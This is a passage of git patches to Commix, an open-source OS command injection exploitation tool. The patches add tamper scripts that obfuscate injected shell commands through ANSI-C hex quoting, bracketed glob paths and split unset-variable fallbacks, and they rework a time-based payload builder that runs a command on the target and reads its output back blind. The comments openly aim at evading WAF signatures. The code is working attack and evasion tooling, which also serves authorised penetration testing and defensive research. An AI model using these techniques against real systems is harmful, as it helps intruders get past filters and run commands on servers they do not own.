+ """ base64encode/hexencode consume the whole payload as one blob, so they can't coexist with space2plus rewriting whitespace inside it first - fatal (not a skippable warning like the rest). diff --git a/src/tamper/ansiquote.py b/src/tamper/ansiquote.py new file mode 100644 index 0000000000..96ef746f47 --- /dev/null +++ b/src/tamper/ansiquote.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as ANSI-C quoted hex ($'\x63\x61\x74'). +Notes: This tamper script works against target(s) whose shell reads ANSI-C quoting (e.g. 'bash', + 'ksh', 'zsh'), which leaves no command name or path spelled out in the payload. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "ansiquote" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\x63' itself, leaving the + shell a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +ANSI_QUOTE_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +# A name the shell assigns to rather than reads: it is spelled out or it is not a name at all. The +# separator is whatever the payload was built with, a held-aside '${IFS}' among it. +ANSI_QUOTE_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + checks.SHELL_SPAN_HELD_REGEX + r")*$" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _ansi_quote(match): + """ + One word written as the hex the shell reads back as that word, or left as it was. + + A shell keyword is left alone for the reason 'IGNORE_TAMPER_TRANSFORMATION' exists: it stops + being a keyword once it is quoted, and the payload loses the loop or the branch it was built + around. Nothing else here needs to survive being spelled differently, because the shell spends + the quoting before anything reads the word. + """ + word = match.group(0) + if word in settings.IGNORE_TAMPER_TRANSFORMATION: + return word + if re.search(ANSI_QUOTE_ASSIGNED_NAME, match.string[:match.start()]): + return word + return "$'" + "".join("\\x%02x" % ord(char) for char in word) + "'" + +# Every command name and path in one span of shell code, written as hex. +def _ansi_quote_words(text, nested): + return re.sub(ANSI_QUOTE_WORD, _ansi_quote, text) + +# Hand the words over as hex, for the target's shell to read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no ANSI-C quoting. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _ansi_quote_words) + +# eof diff --git a/src/tamper/space2brace.py b/src/tamper/space2brace.py index e35c2cd0fd..487f065c51 100644 --- a/src/tamper/space2brace.py +++ b/src/tamper/space2brace.py @@ -53,10 +53,6 @@ def dependencies(): BRACE_RUN_LEAD = r"[;&|`\n]" BRACE_RUN_LEAD_NESTED = r"(?:^|[;&|`\n])" -# Spans the transformation must not reach into, held aside by index while the payload is rewritten. -OPAQUE_SPAN = "\x00%d\x00" -OPAQUE_SPAN_REGEX = r"\x00(\d+)\x00" - if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -76,90 +72,15 @@ def _brace_run(match): return match.group(0) return match.group("lead") + "{" + ",".join(words) + "}" -def _brace_commands(payload, nested=False, runs=True): - """ - Every command in the payload written as a brace expansion, innermost first. - - A quoted span is held aside because the shell gives what is inside it no meaning, and a command - substitution because it is a payload of its own - rewritten by the same rules, then held aside - as one word so the command around it can be rewritten in turn. - - Arithmetic and a parameter expansion are held aside for a third reason: they carry no command, - but they do carry the very characters this reads as punctuation. A '<' of an arithmetic - comparison would end a run halfway through, and the '}' closing '${#VAR}' would close a brace - list that was never opened there. - """ - parts, held, index = [], [], 0 - while index < len(payload): - if payload.startswith("$((", index): - depth, end = 0, index + 1 - while end < len(payload): - if payload[end] == "(": - depth += 1 - elif payload[end] == ")": - depth -= 1 - if depth == 0: - break - end += 1 - parts.append(OPAQUE_SPAN % len(held)) - held.append(payload[index:end + 1]) - index = end + 1 - elif payload.startswith("${", index): - # Counted rather than searched for: one expansion nests inside another in the payloads that - # take a string apart a character at a time, and the first '}' there closes the inner one. - depth, end = 0, index + 1 - while end < len(payload): - if payload[end] == "{": - depth += 1 - elif payload[end] == "}": - depth -= 1 - if depth == 0: - break - end += 1 - end = min(end, len(payload) - 1) - parts.append(OPAQUE_SPAN % len(held)) - held.append(payload[index:end + 1]) - index = end + 1 - elif payload.startswith("$(", index): - depth, end = 1, index + 2 - while end < len(payload) and depth: - if payload[end] == "(": - depth += 1 - elif payload[end] == ")": - depth -= 1 - end += 1 - parts.append(OPAQUE_SPAN % len(held)) - held.append("$(" + _brace_commands(payload[index + 2:end - 1], nested=True) + ")") - index = end - elif payload[index] in ("`", "'", "\""): - quote = payload[index] - end = payload.find(quote, index + 1) - end = len(payload) if end == -1 else end - inner = payload[index + 1:end] - # Double quotes do not stop a substitution being a command of its own, so the search goes on - # inside them - but only into the substitutions, since a brace list written directly in - # double quotes is read as the literal it looks like. Single quotes stop everything. - if quote == "`": - inner = _brace_commands(inner, nested=True) - elif quote == "\"": - inner = _brace_commands(inner, nested=True, runs=False) - parts.append(OPAQUE_SPAN % len(held)) - held.append(quote + inner + quote) - index = end + 1 - else: - parts.append(payload[index]) - index += 1 - braced = "".join(parts) - if runs: - lead = BRACE_RUN_LEAD_NESTED if nested else BRACE_RUN_LEAD - braced = re.sub(BRACE_RUN % lead, _brace_run, braced) - return re.sub(OPAQUE_SPAN_REGEX, lambda x: held[int(x.group(1))], braced) +# Every command in one span of shell code, written as a brace expansion. +def _brace_runs(text, nested): + return re.sub(BRACE_RUN % (BRACE_RUN_LEAD_NESTED if nested else BRACE_RUN_LEAD), _brace_run, text) # Hand each command over as a brace expansion, for the target's shell to split back on the commas. def tamper(payload): # A target settled as Windows after this script was accepted: 'cmd.exe' has no brace expansion. if settings.TARGET_OS == settings.OS.WINDOWS: return payload - return _brace_commands(payload) + return checks.tamper_shell_spans(payload, _brace_runs) # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index c4b339f05a..0b6a38d8df 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "133" +REVISION = "134" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1475,6 +1475,7 @@ class AUTH_TYPE(object): "space2htab": False, "space2vtab": False, "space2brace": False, + "ansiquote": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -1546,6 +1547,13 @@ class PRIORITY(object): ("dollarstars", "uninitializedvariable"), # Both interleave the same characters, so together they say everything twice. ("dollaratsigns", "dollarstars"), + # Each of these writes between the characters of a word that is now hex escapes, + # so what the shell reads back is no longer the word that was encoded. + ("ansiquote", "backslashes"), + ("ansiquote", "dollaratsigns"), + ("ansiquote", "dollarstars"), + ("ansiquote", "singlequotes"), + ("ansiquote", "uninitializedvariable"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes") ] From 73d125bc30becd8fe849c1201f69e3f3068a2eba Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 15 Sep 2026 17:27:48 +0300 Subject: [PATCH 0794/1023] Added new tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards --- doc/CHANGELOG.md | 1 + src/tamper/cmd2wildcard.py | 79 ++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 8 +++- 3 files changed, 86 insertions(+), 2 deletions(-) create mode 100644 src/tamper/cmd2wildcard.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 87b2c02387..b1829df413 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. * Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. * Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. * Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk ($*) between the characters in a given payload. diff --git a/src/tamper/cmd2wildcard.py b/src/tamper/cmd2wildcard.py new file mode 100644 index 0000000000..2d342eb60c --- /dev/null +++ b/src/tamper/cmd2wildcard.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces the paths in the user-supplied operating system command with wildcards (/[b]in/[c]at). +Notes: This tamper script works against target(s) with a POSIX shell. Only a path the command reads + is hidden, and only where it is written out in full - a bare command name is found on the + PATH rather than by the filesystem, and a wildcard is not looked up there. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "cmd2wildcard" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# An absolute path written out in full, which is the only thing here a wildcard can stand in for. +WILDCARD_PATH = r"/[^\s/|;&<>()`'\"]+(?:/[^\s/|;&<>()`'\"]+)*" + +# What a path already carrying a wildcard of its own is left alone for. +WILDCARD_ALREADY = r"[*?\[\]]" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _wildcard_path(match): + """ + One path with a bracket around the first character of each of its parts, or left as it was. + + A bracket rather than a '?', because the shell has to arrive back at the one file that was + named: '/bin/c?t' is 'cat' and 'cut' both on a target that carries the two, and what the glob + hands over then is a command with the other one as its argument. '/[c]at' can only ever be + 'cat', and a signature written against the path still does not see it. + """ + path = match.group(0) + if re.search(WILDCARD_ALREADY, path): + return path + parts = path.split("/") + return "/".join(part if not part[:1].isalnum() else "[" + part[0] + "]" + part[1:] for part in parts) + +# Hand the command over with its paths spelled as globs, for the target to match back to the file. +def tamper(payload): + if settings.EXPLOITATION_PHASE: + wildcard_cmd = re.sub(WILDCARD_PATH, _wildcard_path, settings.USER_APPLIED_CMD) + # A command naming no path of its own has nothing here that a glob could stand in for, and + # saying so once is worth more than leaving the script looking like it did something. + if wildcard_cmd == settings.USER_APPLIED_CMD: + warn_msg = "The '" + __tamper__ + ".py' tamper script found no path to hide in the '" + warn_msg += settings.USER_APPLIED_CMD + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return payload + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, wildcard_cmd) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 0b6a38d8df..f21739395b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "134" +REVISION = "135" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1476,6 +1476,7 @@ class AUTH_TYPE(object): "space2vtab": False, "space2brace": False, "ansiquote": False, + "cmd2wildcard": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -1555,7 +1556,10 @@ class PRIORITY(object): ("ansiquote", "singlequotes"), ("ansiquote", "uninitializedvariable"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. - ("randomcase", "singlequotes") + ("randomcase", "singlequotes"), + # All three replace the user's command outright, so only one of them can have it. + ("cmd2wildcard", "rev"), + ("cmd2wildcard", "randomcase") ] # Words that must survive per-character obfuscation - shell keywords stop being keywords once From e90dbc44a25253f2bb16f750e140fad966552c23 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 05:48:15 +0300 Subject: [PATCH 0795/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 18 +++++++++++ src/core/controller/controller.py | 15 ++++++++++ .../techniques/tempfile_based/tfb_payloads.py | 30 +++++++++++++++---- src/tamper/ansiquote.py | 15 +++------- src/tamper/cmd2wildcard.py | 5 +++- src/tamper/space2brace.py | 7 ++--- src/utils/settings.py | 7 +++-- 7 files changed, 73 insertions(+), 24 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 448810beb2..4b4bb0ff21 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2264,6 +2264,24 @@ def interleave_char_tamper(payload, obf_char): SHELL_SPAN_HELD = "\x00%d\x00" SHELL_SPAN_HELD_REGEX = r"\x00(\d+)\x00" +# A name the shell assigns to rather than reads: it is spelled out or it is not a name at all. The +# separator is whatever the payload was built with, a held-aside '${IFS}' among it. +TAMPER_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + SHELL_SPAN_HELD_REGEX + r")*$" + +def tamper_word_kept(word, preceding=""): + """ + Whether a word has to reach the target spelled exactly the way the payload wrote it. + + A POSIX shell decides what is a keyword before it takes any quoting off, so a keyword spelled + any other way arrives as a plain word and the payload loses the loop or the branch it was built + around. The same goes for a name being assigned to, which is why what comes before the word is + worth passing in. Windows needs none of this - cmd.exe takes its carets off first, and reads + what is left as the keyword it is - which is why every caller here is a Unix-only script. + """ + if word in settings.IGNORE_TAMPER_TRANSFORMATION: + return True + return bool(re.search(TAMPER_ASSIGNED_NAME, preceding)) + def tamper_shell_spans(payload, transform, nested=False, literal=False): """ Hand each span of the payload that the shell reads as code to "transform", innermost first. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 594ebb427e..e260e7f195 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -230,6 +230,21 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, # would report "not injectable" without having sent one of their payloads. if not menu.options.eval_sink: settings.SKIP_CODE_INJECTIONS = True + elif not settings.COMMAND_SUGGESTED: + settings.COMMAND_SUGGESTED = True + """ + '--eval' names code injection, and naming it is what stops command injection from + being tested at all - so a shell answering here would otherwise be found, reported + and then left behind, with the run going on to look only for what it was told to. + + The option the user gave still wins by default: what is offered is dropping it, + and a run that is not being watched keeps the option it was started with. + """ + message = "The target answers as a command shell, so it is open to command injection as well. " + message += "Do you want to test for that instead (i.e. without the '--eval' option)? [y/N] " + if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES: + menu.options.eval_sink = False + settings.SKIP_CODE_INJECTIONS = True break settings.CLASSIC_STATE = False diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 69b4f293e5..3cdf1eb69e 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -36,6 +36,24 @@ def windows_file_text(OUTPUT_TEXTFILE): def windows_cmd_text(cmd): return "([string](cmd /c " + cmd + ")).trim()" +def flattened_file_text(OUTPUT_TEXTFILE): + """ + The file's contents as one line: every newline in it turned into a space. + + Output of any shape is measured and read back as a single string, so the newlines between lines + have to become something the one line can hold. Read by redirection rather than through a pipe, + because the separator under test is the only one a payload is allowed to chain itself with. + """ + return "tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + +def trimmed_output_text(): + """ + The flattened text without the space standing in for the trailing newline, which had been making + every result a character longer than it was. Matched as a class rather than written out, so that + a script rewriting whitespace cannot rewrite it, and suffix removal adds no command of its own. + """ + return "${" + settings.RANDOM_VAR_GENERATOR + "%[[:space:]]}" + """ Tempfile-based decision payload (check if host is vulnerable). """ @@ -175,8 +193,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth if separator in (";", "\n", "\r\n") : arith_operator = "<=" if operator == "-le" else "==" payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" >" + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -187,8 +205,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) elif separator == "&": payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + - "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" >" + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + + "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + @@ -202,8 +220,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = "&" payload = (ampersand + "sleep 0 " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '" + settings.END_LINE.ESCAPED_LF + "' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + trimmed_output_text() + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + diff --git a/src/tamper/ansiquote.py b/src/tamper/ansiquote.py index 96ef746f47..9d9f18d580 100644 --- a/src/tamper/ansiquote.py +++ b/src/tamper/ansiquote.py @@ -40,10 +40,6 @@ def dependencies(): # A word worth hiding: a command name or a path, which is what a signature is written against. ANSI_QUOTE_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" -# A name the shell assigns to rather than reads: it is spelled out or it is not a name at all. The -# separator is whatever the payload was built with, a held-aside '${IFS}' among it. -ANSI_QUOTE_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + checks.SHELL_SPAN_HELD_REGEX + r")*$" - if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -51,15 +47,12 @@ def _ansi_quote(match): """ One word written as the hex the shell reads back as that word, or left as it was. - A shell keyword is left alone for the reason 'IGNORE_TAMPER_TRANSFORMATION' exists: it stops - being a keyword once it is quoted, and the payload loses the loop or the branch it was built - around. Nothing else here needs to survive being spelled differently, because the shell spends - the quoting before anything reads the word. + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the shell spends the quoting before anything reads the word. """ word = match.group(0) - if word in settings.IGNORE_TAMPER_TRANSFORMATION: - return word - if re.search(ANSI_QUOTE_ASSIGNED_NAME, match.string[:match.start()]): + if checks.tamper_word_kept(word, match.string[:match.start()]): return word return "$'" + "".join("\\x%02x" % ord(char) for char in word) + "'" diff --git a/src/tamper/cmd2wildcard.py b/src/tamper/cmd2wildcard.py index 2d342eb60c..24fe5e3785 100644 --- a/src/tamper/cmd2wildcard.py +++ b/src/tamper/cmd2wildcard.py @@ -58,7 +58,10 @@ def _wildcard_path(match): # Hand the command over with its paths spelled as globs, for the target to match back to the file. def tamper(payload): - if settings.EXPLOITATION_PHASE: + # A command of the user's own is what this script rewrites, and the exploitation phase reaches + # here before there is one - replaying a delay against a random value, say. There is nothing to + # say about a command that has not been asked for yet. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: wildcard_cmd = re.sub(WILDCARD_PATH, _wildcard_path, settings.USER_APPLIED_CMD) # A command naming no path of its own has nothing here that a glob could stand in for, and # saying so once is worth more than leaving the script looking like it did something. diff --git a/src/tamper/space2brace.py b/src/tamper/space2brace.py index 487f065c51..d8a4fbe10a 100644 --- a/src/tamper/space2brace.py +++ b/src/tamper/space2brace.py @@ -61,14 +61,13 @@ def _brace_run(match): One command written as a brace expansion, or left as it was where it cannot be. The shell splits '{a,b,c}' on the commas and on nothing else, so every word has to already be - one word, and a single word would not expand at all. A shell keyword is left alone for the - reason 'IGNORE_TAMPER_TRANSFORMATION' exists: 'for' stops being 'for' once it is quoted into a - brace list, and the payload loses the loop it was built around. + one word, and a single word would not expand at all. A word the shell has to read exactly as it + was written is left alone, for the reason 'tamper_word_kept' gives. """ words = match.group("run").split(settings.SINGLE_WHITESPACE) if len(words) < 2 or not all(re.match(BRACE_SAFE_WORD, word) for word in words): return match.group(0) - if any(word in settings.IGNORE_TAMPER_TRANSFORMATION for word in words): + if any(checks.tamper_word_kept(word) for word in words): return match.group(0) return match.group("lead") + "{" + ",".join(words) + "}" diff --git a/src/utils/settings.py b/src/utils/settings.py index f21739395b..093b781923 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "135" +REVISION = "136" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1009,6 +1009,9 @@ def set_eval_grammar(language): EVAL_ALL_LANGUAGES = 'all' # Said once per run, however many parameters the heuristic sees an evaluation sink on. EVAL_SUGGESTED = False +# The same, the other way round: said once however many parameters answer as a command shell +# while '--eval' has code injection named on the command line. +COMMAND_SUGGESTED = False # Supported injection types class INJECTION_TYPE(object): @@ -2042,7 +2045,7 @@ class END_LINE: "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", - "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", + "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From 2fc0307acd0185caaf8cf8001f23999b88245ac1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 05:53:35 +0300 Subject: [PATCH 0796/1023] Added new tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables --- doc/CHANGELOG.md | 1 + src/tamper/cmd2var.py | 77 +++++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 8 +++-- 3 files changed, 84 insertions(+), 2 deletions(-) create mode 100644 src/tamper/cmd2var.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b1829df413..d0004c0db9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. * Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. * Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. * Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. diff --git a/src/tamper/cmd2var.py b/src/tamper/cmd2var.py new file mode 100644 index 0000000000..70ef79d5b3 --- /dev/null +++ b/src/tamper/cmd2var.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +import string +from src.utils import settings +from src.core.controller import checks + +""" +About: Splits the name of the user-supplied operating system command across unset shell variables. +Notes: This tamper script works against target(s) with a POSIX shell. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "cmd2var" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# Named once for the whole run, and long enough that the target is unlikely to have them set. +VARIABLE_NAME_LENGTH = 3 + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# A name of its own, so that what the shell falls back on is the piece carried in the payload. +def _variable_name(): + return "".join(random.choice(string.ascii_uppercase) for _ in range(VARIABLE_NAME_LENGTH)) + +def _split_name(name): + """ + The command's name carried as the fallbacks of two variables the target has not set. + + Where a script that writes between the characters leaves them in order - so stripping what was + written between them hands the name straight back - this leaves no piece of the name outside an + expansion, and needs no command of its own to do it. + """ + at = random.randint(1, len(name) - 1) + return "${" + _variable_name() + ":-" + name[:at] + "}${" + _variable_name() + ":-" + name[at:] + "}" + +# Hand the command's name over in pieces, for the target's shell to fall back on and put together. +def tamper(payload): + # The exploitation phase reaches here before there is a command of the user's own to rewrite. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + name = settings.USER_APPLIED_CMD.split(settings.SINGLE_WHITESPACE)[0] + # A name of one character cannot be split, and a keyword stops being one once it is written + # any other way - either leaves the command as it was rather than breaking it. + if len(name) < 2 or checks.tamper_word_kept(name): + warn_msg = "The '" + __tamper__ + ".py' tamper script cannot split the name of the '" + warn_msg += settings.USER_APPLIED_CMD + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return payload + var_cmd = _split_name(name) + settings.USER_APPLIED_CMD[len(name):] + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, var_cmd) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof diff 